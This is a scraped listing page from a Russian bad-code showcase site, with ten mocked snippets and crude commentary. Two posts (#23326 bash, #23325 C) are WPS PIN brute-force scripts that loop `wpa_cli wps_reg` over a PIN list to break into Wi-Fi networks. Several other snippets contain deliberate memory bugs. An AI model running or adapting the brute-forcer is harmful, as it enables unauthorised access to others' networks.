1. Python / Говнокод #23328

    −9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    class SimilarCardIsShown(ZenAndroidTest):
        def test_similar_show(self):
            cards = self.swipe_and_find_elements(By.ID, "com.yandex.zensample.app:id/card_title", 7)
            for card in cards:
                card.click()
                self.driver.back()
            assert self.driver.find_element_by_id("com.yandex.zensample.app:id/card_helper_sim_head"), "Нет похожих"

    хуй

    storvus, 05 Сентября 2017

    Комментарии (0)
  2. Си / Говнокод #23327

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    #include <stdio.h>
    
    int main(int argc, char *argv[])
    {
      FILE *f = fopen(argv[1], "r");
      if(f == NULL)
      {
        perror("open");
        return 1;
      }
      char str[8];
      while( fgets(str, 9, f) != NULL)
      {
        if(str[0] == '\n') continue;
        printf("%s", str);
      }
      fclose(f);
      
      return 0;
    }

    вот так на си тяжко работать со строками

    MasterGovnokodinga, 03 Сентября 2017

    Комментарии (6)
  3. bash / Говнокод #23326

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    #!/bin/bash
    
    mac=$1
    file=$2
    
    count=$(cat $file|wc -l)
    declare -i i=0
    while ((i<count)); do
      let tmp=i+1
      pins[$i]=$(cat $file|head -$tmp|tail -1)
      ((i++))
    done
    
    ((i=0))
    while ((i<count)); do
      echo "$i/$count"
      echo "> wpa_cli wps_reg $mac ${pins[$i]}"
    	wpa_cli wps_reg $mac ${pins[$i]}
      echo
    	sleep 3
      iwconfig &>tmp
      if grep -q $mac tmp; then
        echo "Подключено! PIN: ${pins[$i]}"
        rm tmp
        exit 0
      fi
    	((i++))
    done
    rm tmp

    Это типа хактул
    Похож на школопедища творение

    MasterGovnokodinga, 03 Сентября 2017

    Комментарии (1)
  4. Си / Говнокод #23325

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    #include <stdio.h>
    #include <stdlib.h>
    
    char *pins[1][1777];
    
    int load(char *name)
    {
    	FILE *f;
    	f = fopen(name, "r");
    	if(f == NULL) return -1;
    	char str[8];
    	char *tmp;
    	int i=0;
    	while( fgets(str, 9, f) != NULL)
    	{
    		if(str[0] == '\n') continue;
    		tmp = str;
    		pins[0][i] = tmp;
    		i++;
    	}
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	if(argc != 3) { printf("Usage: %s [file] [mac]\n", argv[0]); return 1; }
    	if(load(argv[1]) == -1) {
    		printf("Error load file\n"); return 1;
    	}
    	
    	char cmd[100];
    	for(int i=0; i<1777; i++)
    	{
    		sprintf(cmd, "wpa_cli wps_reg %s %s", argv[2], pins[0][i]);
    		printf("%s\n", cmd);
    	}
    	
    	return 0;
    }

    Эта программа хачит вайфай по впс и пиздец какая легкая
    Но я ебал её за то что она не тормозит когда пин подошел!

    MasterGovnokodinga, 03 Сентября 2017

    Комментарии (0)
  5. Java / Говнокод #23324

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    import java.io.*;
    
    class devnull
    {
      public static void main(String[] args)
      {
        if( args.length != 2 ) {
          println("Использование: java devnull [файл] [байты]");
          return;
        }
        int bytes;
        try {
          bytes = Integer.parseInt(args[1]);
        }
        catch(NumberFormatException e) {
          println("Ошибка: "+e);
          return;
        }
        if(bytes > 1000000000) {
          println("Размер слишком большой!");
          return;
        }
        else if(bytes < 1) {
          println("Размер меньше единицы!");
          return;
        }
      
        try(FileInputStream f = new FileInputStream("/dev/null");
            FileOutputStream fout = new FileOutputStream(args[0]) ) {
          int c;
          for(int i=0; i<bytes; i++)
          {
            println("Пишу байт "+i+"...");
            c = f.read();
            fout.write(c);
          }
        }
        catch(IOException e) {
          println("Ошибка: "+e);
        }
        
        println(bytes+" байт успешно записаны в файл!");
      }
      
      static void print(String text)
      {
        System.out.print(text);
      }
      
      static void println(String text)
      {
        System.out.println(text);
      }
    }

    Короче я ебал как медленно работает эта программа!
    Бесполезная программа короче может кому пригодится я выложу нахуй))

    MasterGovnokodinga, 03 Сентября 2017

    Комментарии (2)
  6. Python / Говнокод #23323

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    N = int(input())
    S = []
    for i in range(N):
        S.append(list(map(float, input().split())))
    for i in range(len(S)):
        S[i][0], S[i][1] = S[i][1], S[i][0]
    S.sort()
    for x in range(N):
        for i in range(N-1):
            if S[i][0] == S[i+1][0]:
                if S[i][1] < S[i+1][1]:
                    S[i][1], S[i+1][1] = S[i+1][1], S[i][1]
    for i in range(N):
    print((str(round(S[i][1], 2))[:str(round(S[i][1], 2)).index('.')]+(str(round(S[i][1], 2))+'00000000')[str(round(S[i][1], 2)).index('.'):str(round(S[i][1], 2)).index('.')+3]),(str(round(S[i][0], 3))[:str(round(S[i][0], 3)).index('.')]+(str(round(S[i][0], 3))+'00000000')[str(round(S[i][0], 3)).index('.'):str(round(S[i][0], 3)).index('.')+4]))

    Нужно было дописать эту прогу во что бы то ни стало...

    Caladrius, 03 Сентября 2017

    Комментарии (5)
  7. Си / Говнокод #23321

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    #include <stdio.h>
    #define A(t,o,w,v) t=(t&~(((1<<w)-1)<<o))|(((t&(((1<<w)-1)<<o))>>o)+(v)<<o)
    int main()
    {
        unsigned long long c = 1451412270569574000, r = 0;
        for (int i = 0; i < 32; i++) {
            int o = (c >>(62-i*2))&3,b=o&1?o&2?putchar('a'+(r&63)),r|=64:(r=((r&63)<<7)|((r &63)<<13)):o&2?r&0x7e000?A(r,13,6,-1),i-=((c>>(60-i*2))&3)+2:(r+=(r&0x1f80)>>7,i++):(A(r,0,6,((c>>(60-i*2))&3)+1-!!(r&64)*(r&63)),r&=~64,i++);
        }
        return 0;
    }

    Мне вчера было нехуй делать
    https://ideone.com/x0EHUj

    cykablyad, 02 Сентября 2017

    Комментарии (12)
  8. C# / Говнокод #23320

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    static void Main(string[] args)
    {
    	List<string> AIM=new List<string>();
    	
    	for(int i=0;i<260;i++)
    	{
    	    AIM.Add("Student"+i);
    	}
    	foreach(string student in AIM)
    	{
    	   Console.WriteLine($"{student}, welcome AIM")   ;
    	}
    
    }

    Welcome code IKM

    govnoBet, 01 Сентября 2017

    Комментарии (0)
  9. Си / Говнокод #23319

    −18

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #include <stdio.h>
    #include <math.h>
    
    float love (float I, float l) {
        return pow(l,12)-1.875*pow(l,11)+6.0*pow(I,2)*pow(l,10)-4.9921875*I*pow(l,10)+2.585311889648438*pow(l,10)-9.375*pow(I,2)*pow(l,9)+7.7939453125*I*pow(l,9)-2.358575820922852*pow(l,9)+15.0*pow(I,4)*pow(l,8)-24.9609375*pow(I,3)*pow(l,8)+21.97471618652344*pow(I,2)*pow(l,8)-9.631240367889404*I*pow(l,8)+1.777470515808091*pow(l,8)-18.75*pow(I,4)*pow(l,7)+31.17578125*pow(I,3)*pow(l,7)-21.94354248046875*pow(I,2)*pow(l,7)+7.460306525230408*I*pow(l,7)-1.035190926311771*pow(l,7)+20.0*pow(I,6)*pow(l,6)-49.921875*pow(I,5)*pow(l,6)+62.04574584960938*pow(I,4)*pow(l,6)-45.61122179031372*pow(I,3)*pow(l,6)+20.07440712489188*pow(I,2)*pow(l,6)-4.903620561284697*I*pow(l,6)+0.5161124694232*pow(l,6)-18.75*pow(I,6)*pow(l,5)+46.763671875*pow(I,5)*pow(l,5)-51.67917251586914*pow(I,4)*pow(l,5)+32.04117125272751*pow(I,3)*pow(l,5)-11.6713294716028*pow(I,2)*pow(l,5)+2.355260139334632*I*pow(l,5)-0.20501630121111*pow(l,5)+15.0*pow(I,8)*pow(l,4)-49.921875*pow(I,7)*pow(l,4)+80.14205932617188*pow(I,6)*pow(l,4)-79.04622316360474*pow(I,5)*pow(l,4)+51.30156413791701*pow(I,4)*pow(l,4)-22.09226815116017*pow(I,3)*pow(l,4)+6.102695024577312*pow(I,2)*pow(l,4)-0.98242835877583*I*pow(l,4)+0.07029630907693*pow(l,4)-9.375*pow(I,8)*pow(l,3)+31.17578125*pow(I,7)*pow(l,3)-46.96202087402344*pow(I,6)*pow(l,3)+41.70142292976379*pow(I,5)*pow(l,3)-23.80186113572563*pow(I,4)*pow(l,3)+8.917726330775167*pow(I,3)*pow(l,3)-2.136639154377085*pow(I,2)*pow(l,3)+0.29864859229457*I*pow(l,3)-0.018605983912568*pow(l,3)+6.0*pow(I,10)*pow(l,2)-24.9609375*pow(I,9)*pow(l,2)+49.11918640136719*pow(I,8)*pow(l,2)-59.78374242782593*pow(I,7)*pow(l,2)+49.48978896439076*pow(I,6)*pow(l,2)-28.93158598494665*pow(I,5)*pow(l,2)+12.03202378944777*pow(I,4)*pow(l,2)-3.49998137399697*pow(I,3)*pow(l,2)+0.67922924650719*pow(I,2)*pow(l,2)-0.079197878338692*I*pow(l,2)+0.004203914137248*pow(l,2)-1.875*pow(I,10)*l+7.7939453125*pow(I,9)*l-14.8678150177002*pow(I,8)*l+17.12055820226669*pow(I,7)*l-13.1657225904346*pow(I,6)*l+7.058370449499989*pow(I,5)*l-2.669451770776955*pow(I,4)*l+0.70266515170761*pow(I,3)*l-0.12309933971658*pow(I,2)*l+0.012949812548299*I*l-6.206283953776933E-4*l+1.0*pow(I,12)-4.9921875*pow(I,11)+11.63346862792969*pow(I,10)-16.71750068664551*pow(I,9)+16.48516143555753*pow(I,8)-11.74293839507118*pow(I,7)+6.19175129714019*pow(I,6)-2.433391202903175*pow(I,5)+0.70703445950914*pow(I,4)-0.14803650408631*pow(I,3)+0.021189602823114*pow(I,2)-0.001860653826892*I+7.575185971055368E-5 < 1E-15 || pow(l,10)-5.0*pow(l,9)+5.0*pow(I,2)*pow(l,8)-2.90625*I*pow(l,8)+11.78536987304688*pow(l,8)-20.0*pow(I,2)*pow(l,7)+11.6494140625*I*pow(l,7)-17.14798545837402*pow(l,7)+10.0*pow(I,4)*pow(l,6)-11.625*pow(I,3)*pow(l,6)+40.29388427734375*pow(I,2)*pow(l,6)-21.55665040016174*I*pow(l,6)+16.99577952199616*pow(l,6)-30.0*pow(I,4)*pow(l,5)+34.9482421875*pow(I,3)*pow(l,5)-50.94610023498535*pow(I,2)*pow(l,5)+23.88467472791672*I*pow(l,5)-11.9628191064985*pow(l,5)+10.0*pow(I,6)*pow(l,4)-17.4375*pow(I,5)*pow(l,4)+50.16943359375*pow(I,4)*pow(l,4)-48.70983290672302*pow(I,3)*pow(l,4)+42.97533737192862*pow(I,2)*pow(l,4)-17.25546950536591*I*pow(l,4)+6.04749635858191*pow(l,4)-20.0*pow(I,6)*pow(l,3)+34.9482421875*pow(I,5)*pow(l,3)-50.44824409484863*pow(I,4)*pow(l,3)+39.17684853076935*pow(I,3)*pow(l,3)-24.34328862949042*pow(I,2)*pow(l,3)+8.299056958717301*I*pow(l,3)-2.166128431830096*pow(l,3)+5.0*pow(I,8)*pow(l,2)-11.625*pow(I,7)*pow(l,2)+26.59869384765625*pow(I,6)*pow(l,2)-32.74971461296082*pow(I,5)*pow(l,2)+30.75699374894612*pow(I,4)*pow(l,2)-18.95482897813054*pow(I,3)*pow(l,2)+8.95435221319056*pow(I,2)*pow(l,2)-2.588868248221219*I*pow(l,2)+0.5257354735823*pow(l,2)-5.0*pow(I,8)*l+11.6494140625*pow(I,7)*l-16.65012931823731*pow(I,6)*l+15.29217380285263*pow(I,5)*l-10.51018774471595*pow(I,4)*l+5.180867148931611*pow(I,3)*l-1.941813316855168*pow(I,2)*l+0.47735353639502*I*l-0.077970960441102*l+1.0*pow(I,10)-2.90625*pow(I,9)+4.937774658203125*pow(I,8)-5.596532106399536*pow(I,7)+4.777435899013653*pow(I,6)-3.106810036970273*pow(I,5)+1.591604432319357*pow(I,4)-0.62478458589189*pow(I,3)+0.18929881373474*pow(I,2)-0.039649136270068*I+0.005350459981283 < 1E-15 || pow(l,8)-6.25*pow(l,7)+4.0*pow(I,2)*pow(l,6)-3.421875*I*pow(l,6)+17.80441284179688*pow(l,6)-18.75*pow(I,2)*pow(l,5)+16.046875*I*pow(l,5)-30.05508041381836*pow(l,5)+6.0*pow(I,4)*pow(l,4)-10.265625*pow(I,3)*pow(l,4)+43.19027709960938*pow(I,2)*pow(l,4)-33.21647453308106*I*pow(l,4)+32.82648727321066*pow(l,4)-18.75*pow(I,4)*pow(l,3)+32.09375*pow(I,3)*pow(l,3)-58.69374847412109*pow(I,2)*pow(l,3)+38.5006719827652*I*pow(l,3)-23.74583693197928*pow(l,3)+4.0*pow(I,6)*pow(l,2)-10.265625*pow(I,5)*pow(l,2)+32.96731567382813*pow(I,4)*pow(l,2)-43.91474056243897*pow(I,3)*pow(l,2)+48.47694909991697*pow(I,2)*pow(l,2)-26.33819586417303*I*pow(l,2)+11.12129622866344*pow(l,2)-6.25*pow(I,6)*l+16.046875*pow(I,5)*l-28.63866806030273*pow(I,4)*l+29.44533658027649*pow(I,3)*l-22.7191906881053*pow(I,2)*l+10.09911390075604*I*l-3.090911028218697*l+1.0*pow(I,8)-3.421875*pow(I,7)+7.581451416015625*pow(I,6)-10.69826602935791*pow(I,5)+11.34971928992309*pow(I,4)-8.510083455770655*pow(I,3)+4.787326839222217*pow(I,2)-1.713611032709814*I+0.39256049070024 < 1E-12;
    }
    
    int main() {
        char bormand = 64, HACTEHbKA = 63, LOVE[16] = {}, hell = !LOVE, heaven = HACTEHbKA + bormand;
        float HEAVEN = 2 * heaven + 2.;
        
        for (bormand = hell; bormand < heaven; bormand ++)
            for (HACTEHbKA = hell; HACTEHbKA < heaven; HACTEHbKA ++)
                if (love(bormand / HEAVEN, HACTEHbKA / sqrt(HEAVEN)) > HACTEHbKA / (float) bormand)
                    LOVE[HACTEHbKA] = bormand;
        
        puts(LOVE);
    }

    HACTEHbKA, 01 Сентября 2017

    Комментарии (37)
  10. Си / Говнокод #23318

    −16

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    char *cat2(char *str1, char *str2)
    {
      int len;
      char *ret;
    
      /* malloc new string */
      len = strlen(str1) + strlen(str2) + 1;
      ret = (char *) malloc(len*sizeof(char));
    
      /* copy the strings */
      strcpy(ret, str1);
      strcat(ret, str2);
    
      /* free old strings */
      free(str1);
      free(str2);
    
      return ret;
    }
    
    char *cat3(char *str1, char *str2, char *str3)
    {
      return cat2(cat2(str1, str2), str3);
    }
    
    char *cat4(char *str1, char *str2, char *str3, char *str4)
    {
      return cat2(cat2(str1, str2), cat2(str3, str4));
    }
    
    char *cat5(char *str1, char *str2, char *str3, char *str4,
    	   char *str5)
    {
      return cat3(cat2(str1, str2), cat2(str3, str4), str5);
    }
    
    char *cat6(char *str1, char *str2, char *str3, char *str4,
    	   char *str5, char *str6)
    {
      return cat3(cat2(str1, str2), cat2(str3, str4), cat2(str5, str6));
    }
    
    char *cat7(char *str1, char *str2, char *str3, char *str4,
    	   char *str5, char *str6, char *str7)
    {
      return cat4(cat2(str1, str2), cat2(str3, str4), cat2(str5, str6), str7);
    }
    
    char *cat8(char *str1, char *str2, char *str3, char *str4,
    	   char *str5, char *str6, char *str7, char *str8)
    {
      return cat4(cat2(str1, str2), cat2(str3, str4),
    	      cat2(str5, str6), cat2(str7, str8));
    }
    
    char *cat9(char *str1, char *str2, char *str3, char *str4,
    	   char *str5, char *str6, char *str7, char *str8,
    	   char *str9)
    {
      return cat5(cat2(str1, str2), cat2(str3, str4), cat2(str5, str6),
    	      cat2(str7, str8), str9);
    }

    d_fomenok, 31 Августа 2017

    Комментарии (50)